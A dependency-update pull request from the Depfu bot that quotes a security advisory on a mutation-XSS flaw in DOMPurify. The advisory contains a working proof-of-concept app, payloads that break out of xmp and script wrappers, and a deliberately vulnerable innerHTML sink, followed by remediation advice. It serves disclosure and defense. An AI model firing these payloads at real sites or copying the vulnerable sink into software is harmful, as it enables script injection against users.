Skip to content

🚨 [security] Update dompurify 2.2.7 → 3.3.3 (major)#116

Open
depfu[bot] wants to merge 1 commit intomasterfrom
depfu/update/npm/dompurify-3.3.3
Open

🚨 [security] Update dompurify 2.2.7 → 3.3.3 (major)#116
depfu[bot] wants to merge 1 commit intomasterfrom
depfu/update/npm/dompurify-3.3.3

Conversation

@depfu
Copy link
Copy Markdown

@depfu depfu bot commented Mar 27, 2026


Welcome to Depfu 👋

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!



🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ dompurify (2.2.7 → 3.3.3) · Repo

Security Advisories 🚨

🚨 DOMPurify is vulnerable to mutation-XSS via Re-Contextualization

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

  1. Start the PoC app:
npm install
npm start
  1. Open http://localhost:3001.
  2. Set Wrapper en sink to xmp.
  3. Use payload:
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
  1. Click Sanitize + Render.
  2. Observe:
  • Sanitized response still contains the </xmp> sequence inside alt.
  • The sink reparses to include <img src="x" onerror="alert('expoc')">.
  • alert('expoc') is triggered.
  1. Files:
  • index.html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #0f172a;
        --muted: #475569;
        --accent: #0ea5e9;
      }
  <span class="pl-ent"><span class="pl-c1">*</span></span> {
    <span class="pl-c1">box-sizing</span><span class="pl-kos">:</span> border-box;
  }

  <span class="pl-ent">body</span> {
    <span class="pl-c1">margin</span><span class="pl-kos">:</span> <span class="pl-c1">0</span>;
    <span class="pl-c1">font-family</span><span class="pl-kos">:</span> <span class="pl-s">"SF Mono"</span><span class="pl-kos">,</span> Menlo<span class="pl-kos">,</span> Consolas<span class="pl-kos">,</span> monospace;
    <span class="pl-c1">color</span><span class="pl-kos">:</span> <span class="pl-en">var</span>(<span class="pl-s1">--text</span>);
    <span class="pl-c1">background</span><span class="pl-kos">:</span> <span class="pl-en">radial-gradient</span>(circle at <span class="pl-c1">10<span class="pl-smi">%</span></span> <span class="pl-c1">0<span class="pl-smi">%</span></span><span class="pl-kos">,</span> <span class="pl-pds"><span class="pl-kos">#</span>e0f2fe</span> <span class="pl-c1">0<span class="pl-smi">%</span></span><span class="pl-kos">,</span> <span class="pl-en">var</span>(<span class="pl-s1">--bg</span>) <span class="pl-c1">60<span class="pl-smi">%</span></span>);
  }

  <span class="pl-ent">main</span> {
    <span class="pl-c1">max-width</span><span class="pl-kos">:</span> <span class="pl-c1">980<span class="pl-smi">px</span></span>;
    <span class="pl-c1">margin</span><span class="pl-kos">:</span> <span class="pl-c1">28<span class="pl-smi">px</span></span> auto;
    <span class="pl-c1">padding</span><span class="pl-kos">:</span> <span class="pl-c1">0</span> <span class="pl-c1">16<span class="pl-smi">px</span></span> <span class="pl-c1">20<span class="pl-smi">px</span></span>;
  }

  <span class="pl-ent">h1</span> {
    <span class="pl-c1">margin</span><span class="pl-kos">:</span> <span class="pl-c1">0</span> <span class="pl-c1">0</span> <span class="pl-c1">10<span class="pl-smi">px</span></span>;
    <span class="pl-c1">font-size</span><span class="pl-kos">:</span> <span class="pl-c1">1.45<span class="pl-smi">rem</span></span>;
  }

  <span class="pl-ent">p</span> {
    <span class="pl-c1">margin</span><span class="pl-kos">:</span> <span class="pl-c1">0</span>;
    <span class="pl-c1">color</span><span class="pl-kos">:</span> <span class="pl-en">var</span>(<span class="pl-s1">--muted</span>);
  }

  .<span class="pl-c1">grid</span> {
    <span class="pl-c1">display</span><span class="pl-kos">:</span> grid;
    <span class="pl-c1">gap</span><span class="pl-kos">:</span> <span class="pl-c1">14<span class="pl-smi">px</span></span>;
    <span class="pl-c1">margin-top</span><span class="pl-kos">:</span> <span class="pl-c1">16<span class="pl-smi">px</span></span>;
  }

  .<span class="pl-c1">card</span> {
    <span class="pl-c1">background</span><span class="pl-kos">:</span> <span class="pl-en">var</span>(<span class="pl-s1">--panel</span>);
    <span class="pl-c1">border</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">px</span></span> solid <span class="pl-en">var</span>(<span class="pl-s1">--line</span>);
    <span class="pl-c1">border-radius</span><span class="pl-kos">:</span> <span class="pl-c1">12<span class="pl-smi">px</span></span>;
    <span class="pl-c1">padding</span><span class="pl-kos">:</span> <span class="pl-c1">14<span class="pl-smi">px</span></span>;
  }

  <span class="pl-ent">label</span> {
    <span class="pl-c1">display</span><span class="pl-kos">:</span> block;
    <span class="pl-c1">margin-bottom</span><span class="pl-kos">:</span> <span class="pl-c1">7<span class="pl-smi">px</span></span>;
    <span class="pl-c1">font-size</span><span class="pl-kos">:</span> <span class="pl-c1">0.85<span class="pl-smi">rem</span></span>;
    <span class="pl-c1">color</span><span class="pl-kos">:</span> <span class="pl-en">var</span>(<span class="pl-s1">--muted</span>);
  }

  <span class="pl-ent">textarea</span><span class="pl-kos">,</span>
  <span class="pl-ent">input</span><span class="pl-kos">,</span>
  <span class="pl-ent">select</span><span class="pl-kos">,</span>
  <span class="pl-ent">button</span> {
    <span class="pl-c1">width</span><span class="pl-kos">:</span> <span class="pl-c1">100<span class="pl-smi">%</span></span>;
    <span class="pl-c1">border</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">px</span></span> solid <span class="pl-en">var</span>(<span class="pl-s1">--line</span>);
    <span class="pl-c1">border-radius</span><span class="pl-kos">:</span> <span class="pl-c1">8<span class="pl-smi">px</span></span>;
    <span class="pl-c1">padding</span><span class="pl-kos">:</span> <span class="pl-c1">9<span class="pl-smi">px</span></span> <span class="pl-c1">10<span class="pl-smi">px</span></span>;
    <span class="pl-c1">font</span><span class="pl-kos">:</span> inherit;
    <span class="pl-c1">background</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>fff</span>;
  }

  <span class="pl-ent">textarea</span> {
    <span class="pl-c1">min-height</span><span class="pl-kos">:</span> <span class="pl-c1">110<span class="pl-smi">px</span></span>;
    <span class="pl-c1">resize</span><span class="pl-kos">:</span> vertical;
  }

  .<span class="pl-c1">row</span> {
    <span class="pl-c1">display</span><span class="pl-kos">:</span> grid;
    <span class="pl-c1">grid-template-columns</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">fr</span></span> <span class="pl-c1">230<span class="pl-smi">px</span></span>;
    <span class="pl-c1">gap</span><span class="pl-kos">:</span> <span class="pl-c1">12<span class="pl-smi">px</span></span>;
  }

  <span class="pl-ent">button</span> {
    <span class="pl-c1">cursor</span><span class="pl-kos">:</span> pointer;
    <span class="pl-c1">background</span><span class="pl-kos">:</span> <span class="pl-en">var</span>(<span class="pl-s1">--accent</span>);
    <span class="pl-c1">color</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>fff</span>;
    <span class="pl-c1">border-color</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>0284c7</span>;
  }

  <span class="pl-kos">#</span><span class="pl-c1">sink</span> {
    <span class="pl-c1">min-height</span><span class="pl-kos">:</span> <span class="pl-c1">90<span class="pl-smi">px</span></span>;
    <span class="pl-c1">border</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">px</span></span> dashed <span class="pl-pds"><span class="pl-kos">#</span>94a3b8</span>;
    <span class="pl-c1">border-radius</span><span class="pl-kos">:</span> <span class="pl-c1">8<span class="pl-smi">px</span></span>;
    <span class="pl-c1">padding</span><span class="pl-kos">:</span> <span class="pl-c1">10<span class="pl-smi">px</span></span>;
    <span class="pl-c1">background</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>f8fafc</span>;
  }

  <span class="pl-ent">pre</span> {
    <span class="pl-c1">margin</span><span class="pl-kos">:</span> <span class="pl-c1">0</span>;
    <span class="pl-c1">white-space</span><span class="pl-kos">:</span> pre-wrap;
    <span class="pl-c1">word-break</span><span class="pl-kos">:</span> break-word;
  }

  .<span class="pl-c1">note</span> {
    <span class="pl-c1">margin-top</span><span class="pl-kos">:</span> <span class="pl-c1">8<span class="pl-smi">px</span></span>;
    <span class="pl-c1">font-size</span><span class="pl-kos">:</span> <span class="pl-c1">0.85<span class="pl-smi">rem</span></span>;
  }

  .<span class="pl-c1">status-grid</span> {
    <span class="pl-c1">display</span><span class="pl-kos">:</span> grid;
    <span class="pl-c1">grid-template-columns</span><span class="pl-kos">:</span> <span class="pl-en">repeat</span>(auto-fit<span class="pl-kos">,</span> <span class="pl-en">minmax</span>(<span class="pl-c1">180<span class="pl-smi">px</span></span><span class="pl-kos">,</span> <span class="pl-c1">1<span class="pl-smi">fr</span></span>));
    <span class="pl-c1">gap</span><span class="pl-kos">:</span> <span class="pl-c1">8<span class="pl-smi">px</span></span>;
    <span class="pl-c1">margin-top</span><span class="pl-kos">:</span> <span class="pl-c1">10<span class="pl-smi">px</span></span>;
  }

  .<span class="pl-c1">status-item</span> {
    <span class="pl-c1">border</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">px</span></span> solid <span class="pl-en">var</span>(<span class="pl-s1">--line</span>);
    <span class="pl-c1">border-radius</span><span class="pl-kos">:</span> <span class="pl-c1">8<span class="pl-smi">px</span></span>;
    <span class="pl-c1">padding</span><span class="pl-kos">:</span> <span class="pl-c1">8<span class="pl-smi">px</span></span> <span class="pl-c1">10<span class="pl-smi">px</span></span>;
    <span class="pl-c1">font-size</span><span class="pl-kos">:</span> <span class="pl-c1">0.85<span class="pl-smi">rem</span></span>;
    <span class="pl-c1">background</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>fff</span>;
  }

  .<span class="pl-c1">status-item</span>.<span class="pl-c1">vuln</span> {
    <span class="pl-c1">border-color</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>ef4444</span>;
    <span class="pl-c1">background</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>fef2f2</span>;
  }

  .<span class="pl-c1">status-item</span>.<span class="pl-c1">safe</span> {
    <span class="pl-c1">border-color</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>22c55e</span>;
    <span class="pl-c1">background</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>f0fdf4</span>;
  }

  <span class="pl-k">@media</span> (<span class="pl-c1">max-width</span><span class="pl-kos">:</span> <span class="pl-c1">760<span class="pl-smi">px</span></span>) {
    .<span class="pl-c1">row</span> {
      <span class="pl-c1">grid-template-columns</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">fr</span></span>;
    }
  }
<span class="pl-kos">&lt;/</span><span class="pl-ent">style</span><span class="pl-kos">&gt;</span>

</head>
<body>
<main>
<h1>expoc - DOMPurify Server-Side PoC</h1>
<p>
Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
</p>

  <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">grid</span>"<span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">section</span> <span class="pl-c1">class</span>="<span class="pl-s">card</span>"<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">label</span> <span class="pl-c1">for</span>="<span class="pl-s">payload</span>"<span class="pl-kos">&gt;</span>Payload<span class="pl-kos">&lt;/</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">textarea</span> <span class="pl-c1">id</span>="<span class="pl-s">payload</span>"<span class="pl-kos">&gt;</span><span class="pl-kos">&lt;</span><span class="pl-ent">img</span> <span class="pl-c1">src</span>=<span class="pl-s">x</span> <span class="pl-c1">alt</span>="<span class="pl-s">&lt;/script&gt;&lt;img src=x onerror=alert('expoc')&gt;</span>"<span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">textarea</span><span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">row</span>" <span class="pl-c1">style</span>="<span class="pl-s">margin-top: 10px;</span>"<span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
          <span class="pl-kos">&lt;</span><span class="pl-ent">label</span> <span class="pl-c1">for</span>="<span class="pl-s">wrapper</span>"<span class="pl-kos">&gt;</span>Wrapper en sink<span class="pl-kos">&lt;/</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>
          <span class="pl-kos">&lt;</span><span class="pl-ent">select</span> <span class="pl-c1">id</span>="<span class="pl-s">wrapper</span>"<span class="pl-kos">&gt;</span>
            <span class="pl-kos">&lt;</span><span class="pl-ent">option</span> <span class="pl-c1">value</span>="<span class="pl-s">div</span>"<span class="pl-kos">&gt;</span>div<span class="pl-kos">&lt;/</span><span class="pl-ent">option</span><span class="pl-kos">&gt;</span>
            <span class="pl-kos">&lt;</span><span class="pl-ent">option</span> <span class="pl-c1">value</span>="<span class="pl-s">textarea</span>"<span class="pl-kos">&gt;</span>textarea<span class="pl-kos">&lt;/</span><span class="pl-ent">option</span><span class="pl-kos">&gt;</span>
            <span class="pl-kos">&lt;</span><span class="pl-ent">option</span> <span class="pl-c1">value</span>="<span class="pl-s">title</span>"<span class="pl-kos">&gt;</span>title<span class="pl-kos">&lt;/</span><span class="pl-ent">option</span><span class="pl-kos">&gt;</span>
            <span class="pl-kos">&lt;</span><span class="pl-ent">option</span> <span class="pl-c1">value</span>="<span class="pl-s">style</span>"<span class="pl-kos">&gt;</span>style<span class="pl-kos">&lt;/</span><span class="pl-ent">option</span><span class="pl-kos">&gt;</span>
            <span class="pl-kos">&lt;</span><span class="pl-ent">option</span> <span class="pl-c1">value</span>="<span class="pl-s">script</span>" <span class="pl-c1">selected</span><span class="pl-kos">&gt;</span>script<span class="pl-kos">&lt;/</span><span class="pl-ent">option</span><span class="pl-kos">&gt;</span>
            <span class="pl-kos">&lt;</span><span class="pl-ent">option</span> <span class="pl-c1">value</span>="<span class="pl-s">xmp</span>"<span class="pl-kos">&gt;</span>xmp<span class="pl-kos">&lt;/</span><span class="pl-ent">option</span><span class="pl-kos">&gt;</span>
            <span class="pl-kos">&lt;</span><span class="pl-ent">option</span> <span class="pl-c1">value</span>="<span class="pl-s">iframe</span>"<span class="pl-kos">&gt;</span>iframe<span class="pl-kos">&lt;/</span><span class="pl-ent">option</span><span class="pl-kos">&gt;</span>
            <span class="pl-kos">&lt;</span><span class="pl-ent">option</span> <span class="pl-c1">value</span>="<span class="pl-s">noembed</span>"<span class="pl-kos">&gt;</span>noembed<span class="pl-kos">&lt;/</span><span class="pl-ent">option</span><span class="pl-kos">&gt;</span>
            <span class="pl-kos">&lt;</span><span class="pl-ent">option</span> <span class="pl-c1">value</span>="<span class="pl-s">noframes</span>"<span class="pl-kos">&gt;</span>noframes<span class="pl-kos">&lt;/</span><span class="pl-ent">option</span><span class="pl-kos">&gt;</span>
            <span class="pl-kos">&lt;</span><span class="pl-ent">option</span> <span class="pl-c1">value</span>="<span class="pl-s">noscript</span>"<span class="pl-kos">&gt;</span>noscript<span class="pl-kos">&lt;/</span><span class="pl-ent">option</span><span class="pl-kos">&gt;</span>
          <span class="pl-kos">&lt;/</span><span class="pl-ent">select</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">style</span>="<span class="pl-s">display:flex;align-items:end;</span>"<span class="pl-kos">&gt;</span>
          <span class="pl-kos">&lt;</span><span class="pl-ent">button</span> <span class="pl-c1">id</span>="<span class="pl-s">run</span>" <span class="pl-c1">type</span>="<span class="pl-s">button</span>"<span class="pl-kos">&gt;</span>Sanitize + Render<span class="pl-kos">&lt;/</span><span class="pl-ent">button</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">p</span> <span class="pl-c1">class</span>="<span class="pl-s">note</span>"<span class="pl-kos">&gt;</span>Se usa render vulnerable: <span class="pl-kos">&lt;</span><span class="pl-ent">code</span><span class="pl-kos">&gt;</span>sink.innerHTML = '&amp;lt;wrapper&amp;gt;' + sanitized + '&amp;lt;/wrapper&amp;gt;'<span class="pl-kos">&lt;/</span><span class="pl-ent">code</span><span class="pl-kos">&gt;</span>.<span class="pl-kos">&lt;/</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-grid</span>"<span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-item vuln</span>"<span class="pl-kos">&gt;</span>script (vulnerable)<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-item vuln</span>"<span class="pl-kos">&gt;</span>xmp (vulnerable)<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-item vuln</span>"<span class="pl-kos">&gt;</span>iframe (vulnerable)<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-item vuln</span>"<span class="pl-kos">&gt;</span>noembed (vulnerable)<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-item vuln</span>"<span class="pl-kos">&gt;</span>noframes (vulnerable)<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-item vuln</span>"<span class="pl-kos">&gt;</span>noscript (vulnerable)<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-item safe</span>"<span class="pl-kos">&gt;</span>div (no vulnerable)<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-item safe</span>"<span class="pl-kos">&gt;</span>textarea (no vulnerable)<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-item safe</span>"<span class="pl-kos">&gt;</span>title (no vulnerable)<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">status-item safe</span>"<span class="pl-kos">&gt;</span>style (no vulnerable)<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">section</span><span class="pl-kos">&gt;</span>

    <span class="pl-kos">&lt;</span><span class="pl-ent">section</span> <span class="pl-c1">class</span>="<span class="pl-s">card</span>"<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>Sanitized response<span class="pl-kos">&lt;/</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">pre</span> <span class="pl-c1">id</span>="<span class="pl-s">sanitized</span>"<span class="pl-kos">&gt;</span>(empty)<span class="pl-kos">&lt;/</span><span class="pl-ent">pre</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">section</span><span class="pl-kos">&gt;</span>

    <span class="pl-kos">&lt;</span><span class="pl-ent">section</span> <span class="pl-c1">class</span>="<span class="pl-s">card</span>"<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>Sink<span class="pl-kos">&lt;/</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>="<span class="pl-s">sink</span>"<span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">section</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">main</span><span class="pl-kos">&gt;</span>

<span class="pl-kos">&lt;</span><span class="pl-ent">script</span><span class="pl-kos">&gt;</span>
  <span class="pl-k">const</span> <span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-smi">document</span><span class="pl-kos">.</span><span class="pl-en">getElementById</span><span class="pl-kos">(</span><span class="pl-s">'payload'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-k">const</span> <span class="pl-s1">wrapper</span> <span class="pl-c1">=</span> <span class="pl-smi">document</span><span class="pl-kos">.</span><span class="pl-en">getElementById</span><span class="pl-kos">(</span><span class="pl-s">'wrapper'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-k">const</span> <span class="pl-s1">run</span> <span class="pl-c1">=</span> <span class="pl-smi">document</span><span class="pl-kos">.</span><span class="pl-en">getElementById</span><span class="pl-kos">(</span><span class="pl-s">'run'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-k">const</span> <span class="pl-s1">sanitizedNode</span> <span class="pl-c1">=</span> <span class="pl-smi">document</span><span class="pl-kos">.</span><span class="pl-en">getElementById</span><span class="pl-kos">(</span><span class="pl-s">'sanitized'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
  <span class="pl-k">const</span> <span class="pl-s1">sink</span> <span class="pl-c1">=</span> <span class="pl-smi">document</span><span class="pl-kos">.</span><span class="pl-en">getElementById</span><span class="pl-kos">(</span><span class="pl-s">'sink'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

  <span class="pl-s1">run</span><span class="pl-kos">.</span><span class="pl-en">addEventListener</span><span class="pl-kos">(</span><span class="pl-s">'click'</span><span class="pl-kos">,</span> <span class="pl-k">async</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
    <span class="pl-k">const</span> <span class="pl-s1">response</span> <span class="pl-c1">=</span> <span class="pl-k">await</span> <span class="pl-en">fetch</span><span class="pl-kos">(</span><span class="pl-s">'/sanitize'</span><span class="pl-kos">,</span> <span class="pl-kos">{</span>
      <span class="pl-c1">method</span>: <span class="pl-s">'POST'</span><span class="pl-kos">,</span>
      <span class="pl-c1">headers</span>: <span class="pl-kos">{</span> <span class="pl-s">'Content-Type'</span>: <span class="pl-s">'application/json'</span> <span class="pl-kos">}</span><span class="pl-kos">,</span>
      <span class="pl-c1">body</span>: <span class="pl-c1">JSON</span><span class="pl-kos">.</span><span class="pl-en">stringify</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">input</span>: <span class="pl-s1">payload</span><span class="pl-kos">.</span><span class="pl-c1">value</span> <span class="pl-kos">}</span><span class="pl-kos">)</span>
    <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

    <span class="pl-k">const</span> <span class="pl-s1">data</span> <span class="pl-c1">=</span> <span class="pl-k">await</span> <span class="pl-s1">response</span><span class="pl-kos">.</span><span class="pl-en">json</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-k">const</span> <span class="pl-s1">sanitized</span> <span class="pl-c1">=</span> <span class="pl-s1">data</span><span class="pl-kos">.</span><span class="pl-c1">sanitized</span> <span class="pl-c1">||</span> <span class="pl-s">''</span><span class="pl-kos">;</span>
    <span class="pl-k">const</span> <span class="pl-s1">w</span> <span class="pl-c1">=</span> <span class="pl-s1">wrapper</span><span class="pl-kos">.</span><span class="pl-c1">value</span><span class="pl-kos">;</span>

    <span class="pl-s1">sanitizedNode</span><span class="pl-kos">.</span><span class="pl-c1">textContent</span> <span class="pl-c1">=</span> <span class="pl-s1">sanitized</span><span class="pl-kos">;</span>
    <span class="pl-s1">sink</span><span class="pl-kos">.</span><span class="pl-c1">innerHTML</span> <span class="pl-c1">=</span> <span class="pl-s">'&lt;'</span> <span class="pl-c1">+</span> <span class="pl-s1">w</span> <span class="pl-c1">+</span> <span class="pl-s">'&gt;'</span> <span class="pl-c1">+</span> <span class="pl-s1">sanitized</span> <span class="pl-c1">+</span> <span class="pl-s">'&lt;/'</span> <span class="pl-c1">+</span> <span class="pl-s1">w</span> <span class="pl-c1">+</span> <span class="pl-s">'&gt;'</span><span class="pl-kos">;</span>
  <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">script</span><span class="pl-kos">&gt;</span>

</body>
</html>

  • server.js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
const input = typeof req.body?.input === 'string' ? req.body.input : '';
const sanitized = DOMPurify.sanitize(input);
res.json({ sanitized });
});

app.listen(port, () => {
console.log(expoc running at http://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);
});

  • package.json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

  • PoC
daft-video.webm
daft-video.webm
  • XSS triggered
daft-img

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

  • Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
  • Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
  • Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

  1. Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
  2. Keep the rendering context stable from sanitize to sink.
  3. Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
  4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
  5. Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

🚨 DOMPurify contains a Cross-site Scripting vulnerability

